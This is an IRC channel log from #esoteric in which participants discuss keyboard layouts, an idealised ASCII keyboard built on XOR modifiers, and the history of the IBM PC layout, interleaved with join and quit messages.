PRIVMSG #esoteric :the Hungarian layout is of course completely messed up < 1477688912 0 :zzo38!~zzo38@24-207-15-88.eastlink.ca PRIVMSG #esoteric :I did make also the plan for a new computer design which also uses bitpairing keyboard < 1477688937 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION has ~ and ^ on the same key, although the first uses altgr. also they're both dead keys. < 1477688956 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :zzo38: have I told you yet to look at John Savard's homepage at http://www.quadibloc.com/ ? < 1477688970 0 :zzo38!~zzo38@24-207-15-88.eastlink.ca PRIVMSG #esoteric :I look now < 1477688970 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION has no idea what this bitpairing is about, anyway < 1477689035 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :zzo38: he's the kind of person who tries to designs entire instruction sets and keyboard layout and other computer stuff, but also collected a lot of historical information about computers < 1477689046 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: an "ideal" ASCII keyboard would implement shift as xor-32, ctrl as xor-64, alt as xor-128 < 1477689051 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :and collected a lot of historical information about non-computer stuff too < 1477689079 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that matches up with a decent proportion of the keycaps on most keyboards, but there are several that violate the rule < 1477689081 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :ais523: well, I like how shift-space results in space < 1477689102 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes, there are reasons to deviate from ASCII in practice < 1477689115 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also most keyboards have more than 35 keys, which is all they'd theoretically need with those constraints < 1477689191 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :also, if you did that, then you'd need to press control-shift to type digits < 1477689225 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes < 1477689244 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :wait, no < 1477689246 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :> chr $ 48 `xor` 32 < 1477689249 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : '\DLE' < 1477689249 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :assuming you have lowercase letters < 1477689263 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :> chr $ 48 `xor` 32 `xor` 64 < 1477689265 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : 'P' < 1477689277 0 :pikhq!~pikhq@174-24-24-163.clsp.qwest.net PRIVMSG #esoteric :wob_jonas: The IBM PC's keyboard layout wasn't original to it. It was used by the Selectric typewriter, and that became standard for electric typewriters. < 1477689279 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :ais523: oh right, you have lowercase letters, so control types digits, and control-shift types control codes < 1477689281 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :makes sense < 1477689283 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ctrl-lowercase-p would be 0 < 1477689291 0 :pikhq!~pikhq@174-24-24-163.clsp.qwest.net PRIVMSG #esoteric :So, by the time the IBM PC came around it was already an established de facto standard. < 1477689293 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ctrl-uppercase-p (i.e. ctrl-shift-p) would be ^P < 1477689294 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :pikhq: definitely not original, I just want to know what spread it < 1477689301 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :pikhq: thanks to the answer < 1477689315 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :ais523: yes, that makes more sense < 1477689381 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :> ord 'p' < 1477689384 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : 112 < 1477689399 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ais523: i think you're missing something < 1477689406 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :oh wait < 1477689420 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION read that as \NUL < 1477689590 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no QUIT :Quit: Good night < 1477689603 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 245 seconds < 1477690696 0 :godel!~gonzalo@96-251-231-201.fibertel.com.ar JOIN :#esoteric < 1477691323 0 :u0_a330!?@? NICK :moony < 1477691334 0 :moony!~u0_a330@tx-76-1-72-128.dhcp.embarqhsd.net QUIT :Changing host < 1477691334 0 :moony!~u0_a330@unaffiliated/moonythedwarf JOIN :#esoteric < 1477691358 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf QUIT :Disconnected by services < 1477691360 0 :moony!?@? NICK :moony_the_lycan < 1477691388 0 :moonythedwarf!~moonythed@161.129.197.104.bc.googleusercontent.com JOIN :#esoteric < 1477691412 0 :moonythedwarf!?@? NICK :Guest59092 < 1477692529 0 :lynn!sid154965@gateway/web/irccloud.com/x-udoywpzutdyacxrd PRIVMSG #esoteric :08:54  anybody know a good, reliable place for static site hosting. < 1477692540 0 :lynn!sid154965@gateway/web/irccloud.com/x-udoywpzutdyacxrd PRIVMSG #esoteric :GitHub Pages? < 1477692579 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :lynn: say the data in this channel, link to the logs? < 1477692583 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :hi lynn < 1477692610 0 :lynn!sid154965@gateway/web/irccloud.com/x-udoywpzutdyacxrd PRIVMSG #esoteric :hichaf < 1477692631 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :⟅lynn⟆ < 1477693078 0 :moony_the_lycan!~u0_a330@unaffiliated/moonythedwarf PRIVMSG #esoteric :moo2 < 1477693341 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 QUIT :Quit: http://www.kiwiirc.com/ - A hand crafted IRC client < 1477693707 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1477696816 0 :AnotherTest!~turingcom@d51A4BF3B.access.telenet.be QUIT :Quit: ZNC - http://znc.in < 1477696986 0 :powerOfTwo!~powerOfTw@181.92.32.78 JOIN :#esoteric < 1477697025 0 :powerOfTwo!~powerOfTw@181.92.32.78 QUIT :Client Quit < 1477697049 0 :powerOfTwo!~powerOfTw@181.92.32.78 JOIN :#esoteric < 1477697053 0 :powerOfTwo!~powerOfTw@181.92.32.78 QUIT :Read error: Connection reset by peer < 1477697070 0 :powerOfTwo!~powerOfTw@181.92.32.78 JOIN :#esoteric < 1477697071 0 :powerOfTwo!~powerOfTw@181.92.32.78 QUIT :Read error: Connection reset by peer < 1477697455 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric